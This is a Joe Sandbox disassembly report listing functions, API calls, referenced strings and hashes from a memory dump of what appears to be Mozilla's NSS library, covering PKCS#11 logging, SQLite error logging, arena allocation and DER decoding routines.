Part of subcall function 6C8809D0: EnterCriticalSection.KERNEL32(?), ref: 6C880BDE
Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(?), ref: 6C880C16

Strings

slotID = 0x%x, xrefs: 6C7A2D02
pPin = 0x%p, xrefs: 6C7A2D1D
pLabel = 0x%p, xrefs: 6C7A2D4F
C_InitToken, xrefs: 6C7A2CE7
ulPinLen = %d, xrefs: 6C7A2D36

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: c2a4dd6b859e587025d4127a9ef4f6cab45ab94ddb15e988a4e7b8b825f83e88
Instruction ID: 608788fc972c3f0b3014c7d2a9c26859745dc8dcab09ff6540c2c9cd548a5ff8
Opcode Fuzzy Hash: c2a4dd6b859e587025d4127a9ef4f6cab45ab94ddb15e988a4e7b8b825f83e88
Instruction Fuzzy Hash: 0A21C475202144AFDB209F95DF4DA557BB1EB8631DF448570E90897A23CB30BC4ACBA1

Function 6C880EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C762357), ref: 6C880EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C762357), ref: 6C880EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C880EE6

Part of subcall function 6C8809D0: PR_Now.NSS3 ref: 6C880A22
Part of subcall function 6C8809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C880A35
Part of subcall function 6C8809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C880A66
Part of subcall function 6C8809D0: PR_GetCurrentThread.NSS3 ref: 6C880A70
Part of subcall function 6C8809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C880A9D
Part of subcall function 6C8809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C880AC8
Part of subcall function 6C8809D0: PR_vsmprintf.NSS3(?,?), ref: 6C880AE8
Part of subcall function 6C8809D0: EnterCriticalSection.KERNEL32(?), ref: 6C880B19
Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C880B48
Part of subcall function 6C8809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C880C76
Part of subcall function 6C8809D0: PR_LogFlush.NSS3 ref: 6C880C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C880EFA

Part of subcall function 6C76AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C76AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C880F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C880F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C880F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C880F2B

Strings

Aborting, xrefs: 6C880EB3
Assertion failure: %s, at %s:%d, xrefs: 6C880ED9, 6C880EE5, 6C880F06, 6C880F0B

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 4bf925064706de039615ff9404ece918175a969144902e7770f6adedba36fa10
Instruction ID: 95dbdf9d075b9440fe2e9f0ab8b3f228ff663e2d3dd732bc2caf5fecd2a6dcd8
Opcode Fuzzy Hash: 4bf925064706de039615ff9404ece918175a969144902e7770f6adedba36fa10
Instruction Fuzzy Hash: 5AF0A4B99001187BDA203BA19C4AC9B3F2DDF42369F004434FE0956B03DB36EA5596F2

Function 6C7E4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C7E4DCB

Part of subcall function 6C7D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7787ED,00000800,6C76EF74,00000000), ref: 6C7D1000
Part of subcall function 6C7D0FF0: PR_NewLock.NSS3(?,00000800,6C76EF74,00000000), ref: 6C7D1016
Part of subcall function 6C7D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7787ED,00000008,?,00000800,6C76EF74,00000000), ref: 6C7D102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C7E4DE1

Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D10F3
Part of subcall function 6C7D10C0: EnterCriticalSection.KERNEL32(?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D110C
Part of subcall function 6C7D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1141
Part of subcall function 6C7D10C0: PR_Unlock.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1182
Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C7E4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7E4E59

Part of subcall function 6C7CFAB0: free.MOZGLUE(?,-00000001,?,?,6C76F673,00000000,00000000), ref: 6C7CFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C8A300C,00000000), ref: 6C7E4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C7E4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C7E4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7E521A

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: e19f99d60a5dbbb858220a4ca60d69d0f57c4f7f169595bc98d21a840ce35b07
Instruction ID: 34dcbb59c3230a960a31f102413f193d8210f8c29fc9f8198eb57eb082ecf93d
Opcode Fuzzy Hash: e19f99d60a5dbbb858220a4ca60d69d0f57c4f7f169595bc98d21a840ce35b07
Instruction Fuzzy Hash: F4F16E72E00209CFDB04CF94E9407ADB7B2FF49358F258169E915AB781E775E981CB90

Function 6C712E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C712F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C712FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C713005
memcpy.VCRUNTIME140(?,?,?), ref: 6C7130EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C713131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C713178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C713022, 6C713156, 6C713162, 6C71318A, 6C713196, 6C7131A2, 6C7131AE, 6C7131BA, 6C7131C6
%s at line %d of [%.10s], xrefs: 6C713171
database corruption, xrefs: 6C71316C

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 02fadaab0bf685c2a62b37efe6a2e500dbbd20990471ba8001ff7b9a6b8cf04a
Instruction ID: 6fde377befe9a8a92e561df84e8383fcb81db84f4233f9b0377bb6b9b7dd416e
Opcode Fuzzy Hash: 02fadaab0bf685c2a62b37efe6a2e500dbbd20990471ba8001ff7b9a6b8cf04a
Instruction Fuzzy Hash: 9EB1B4B0E092199FCB18CF9DCA84AEEB7B2BF49314F184429E545B7B41D374A941DBA0

Function 6C6F2400 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 125COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,bind on a busy prepared statement: [%s],?), ref: 6C6F24EC
sqlite3_log.NSS3(00000015,API called with NULL prepared statement,?,?,?,?,?,6C6F2315), ref: 6C6F254F
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000151C9,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,6C6F2315), ref: 6C6F256C

Strings

misuse, xrefs: 6C6F2561
API called with finalized prepared statement, xrefs: 6C6F2543, 6C6F254D
API called with NULL prepared statement, xrefs: 6C6F253C
bind on a busy prepared statement: [%s], xrefs: 6C6F24E6
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F24F4, 6C6F2557
%s at line %d of [%.10s], xrefs: 6C6F2566

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API called with NULL prepared statement$API called with finalized prepared statement$bind on a busy prepared statement: [%s]$misuse
API String ID: 632333372-2222229625
Opcode ID: 8a6a182556a7595147cf5173e429b7aac50e2b34e1401fe8f3d496d171323643
Instruction ID: bc782fe6d5957d40034508daf6788fc330ec0232ef487b21b16a416e3ef0174b
Opcode Fuzzy Hash: 8a6a182556a7595147cf5173e429b7aac50e2b34e1401fe8f3d496d171323643
Instruction Fuzzy Hash: 554143716006008BE7208F58D898BA673A3BF8231CF18093CE8654FB40D77AE817CF99

Function 6C7CA470 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C7CA4A6

Part of subcall function 6C7D0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D08B4

PORT_Alloc_Util.NSS3(?), ref: 6C7CA4EC

Part of subcall function 6C7D0BE0: malloc.MOZGLUE(6C7C8D2D,?,00000000,?), ref: 6C7D0BF8
Part of subcall function 6C7D0BE0: TlsGetValue.KERNEL32(6C7C8D2D,?,00000000,?), ref: 6C7D0C15

memcpy.VCRUNTIME140(-00000006,?,?), ref: 6C7CA527
memcmp.VCRUNTIME140(00000006,?,?), ref: 6C7CA56D
memcmp.VCRUNTIME140(00000006,00000006,00000004), ref: 6C7CA583
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C7CA596
free.MOZGLUE(?), ref: 6C7CA5A4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7CA5B6

Strings

^jxl, xrefs: 6C7CA475

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Error$Utilmemcmp$Alloc_FindTag_Valuefreemallocmemcpy
String ID: ^jxl
API String ID: 3906949479-3962845174
Opcode ID: d59d2409a72e5ac7444ccb5783f70cd6ca8a2ddeeda5b3502df4355ed8274ef3
Instruction ID: 21d672017d25759cfc15abdc80ce7caa60389861f33fd670c4bf827b1343a655
Opcode Fuzzy Hash: d59d2409a72e5ac7444ccb5783f70cd6ca8a2ddeeda5b3502df4355ed8274ef3
Instruction Fuzzy Hash: 5C411771B042439FDB10CF59DE40BAABBB1AF40318F15C478D8695BB42E732E919C7A2

Function 6C6F6600 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 95COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,NULL), ref: 6C6F6C66
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0001F490,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6F6C83

Strings

NULL, xrefs: 6C6F6C55, 6C6F6C5F
misuse, xrefs: 6C6F6C78
invalid, xrefs: 6C6F6C95
unopened, xrefs: 6C6F6C9F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F6C6E
%s at line %d of [%.10s], xrefs: 6C6F6C7D
API call with %s database connection pointer, xrefs: 6C6F6C60

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$NULL$invalid$misuse$unopened
API String ID: 632333372-4248800309
Opcode ID: 420f7fd0a5b249cd8aced8a2bfcc1de17f24098eb535b6b18c69f9c7f71f84b9
Instruction ID: 0cbb14401bc538a9ad5d5607c95e24d58f3d3a2885cd4c9f1137c07db3eb3963
Opcode Fuzzy Hash: 420f7fd0a5b249cd8aced8a2bfcc1de17f24098eb535b6b18c69f9c7f71f84b9
Instruction Fuzzy Hash: 23317872B001009BEB108E698D917AB3BA3EB4131CF044528DD38DBB81D730D94783D5

Function 6C7A6C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C7A6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7A6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7A6CA3

Part of subcall function 6C88D930: PL_strncpyz.NSS3(?,?,?), ref: 6C88D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7A6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C7A6CD5

Strings

hSession = 0x%x, xrefs: 6C7A6C7E, 6C7A6C8E
pMechanism = 0x%p, xrefs: 6C7A6CD0
C_DigestInit, xrefs: 6C7A6C61
(CK_INVALID_HANDLE), xrefs: 6C7A6C9C

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: b13b5b458fae85f5e85c830957ba1f6d736cd8630f46a9a8903c989b927b1960
Instruction ID: cea1f0e0e8c0deab1e154d8d3909dee32d204ea93811d88b772e29b4c9ab9e2d
Opcode Fuzzy Hash: b13b5b458fae85f5e85c830957ba1f6d736cd8630f46a9a8903c989b927b1960
Instruction Fuzzy Hash: 4821E331602114ABDB209BA89F8DB9A77B5EB4631DF448535E80997B02DB34BE09C7D2

Function 6C770F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C770F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C770F84

Part of subcall function 6C7CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8A18D0,?), ref: 6C7CB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C78F59B,6C89890C,?), ref: 6C770FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C770FC1

Part of subcall function 6C7D0BE0: malloc.MOZGLUE(6C7C8D2D,?,00000000,?), ref: 6C7D0BF8
Part of subcall function 6C7D0BE0: TlsGetValue.KERNEL32(6C7C8D2D,?,00000000,?), ref: 6C7D0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C770FDB
PR_CallOnce.NSS3(6C8D2AA4,6C7D12D0), ref: 6C770FEF
PL_FreeArenaPool.NSS3(?), ref: 6C771001
PL_FinishArenaPool.NSS3(?), ref: 6C771009

Strings

security, xrefs: 6C770F5C

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: ba143f651d26496e45517994c0fc80867c658541e2a7c52f8c4bebb9ddb2acd4
Instruction ID: 653c0276bede34dc106a822bf4594aea11cbc948d1b0fa73d99b0ca8fb56cb94
Opcode Fuzzy Hash: ba143f651d26496e45517994c0fc80867c658541e2a7c52f8c4bebb9ddb2acd4
Instruction Fuzzy Hash: 89212B71904304ABDB209F24DE45AAB77B4EF4525CF048928FC1897701F731E645C7E2

Function 6C776DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C777D8F,6C777D8F,?,?), ref: 6C776DC8

Part of subcall function 6C7CFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C7CFE08
Part of subcall function 6C7CFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C7CFE1D
Part of subcall function 6C7CFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C7CFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C777D8F,?,?), ref: 6C776DD5

Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D10F3
Part of subcall function 6C7D10C0: EnterCriticalSection.KERNEL32(?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D110C
Part of subcall function 6C7D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1141
Part of subcall function 6C7D10C0: PR_Unlock.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1182
Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C898FA0,00000000,?,?,?,?,6C777D8F,?,?), ref: 6C776DF7

Part of subcall function 6C7CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8A18D0,?), ref: 6C7CB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C776E35

Part of subcall function 6C7CFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C7CFE29
Part of subcall function 6C7CFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C7CFE3D
Part of subcall function 6C7CFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C7CFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C776E4C

Part of subcall function 6C7D10C0: PL_ArenaAllocate.NSS3(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C898FE0,00000000), ref: 6C776E82

Part of subcall function 6C776AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C77B21D,00000000,00000000,6C77B219,?,6C776BFB,00000000,?,00000000,00000000,?,?,?,6C77B21D), ref: 6C776B01
Part of subcall function 6C776AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C776B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C776F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C776F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C898FE0,00000000), ref: 6C776F6B
PR_SetError.NSS3(FFFFE005,00000000,6C777D8F,?,?), ref: 6C776FE1

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: ceb873ad1b8a6cba2c5bfbc30416a6e34eb2e89637164e3023bc8a26a6daf788
Instruction ID: a76f8d816472f364106ef560005530a98d291cdb9ae01cbce10d179df4bf0630
Opcode Fuzzy Hash: ceb873ad1b8a6cba2c5bfbc30416a6e34eb2e89637164e3023bc8a26a6daf788
Instruction Fuzzy Hash: AE717071E1064A9FDB10CF55CE44BAABBA8FF54308F154229E808D7B15F770EA94CBA0

Function 6C7B0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7B1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7B1085
PK11_GetAllTokens.NSS3 ref: 6C7B10B1
free.MOZGLUE(?), ref: 6C7B1107
PR_SetError.NSS3(00000000,00000000), ref: 6C7B1172
free.MOZGLUE(?), ref: 6C7B1182
free.MOZGLUE(?), ref: 6C7B11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C7B11C5

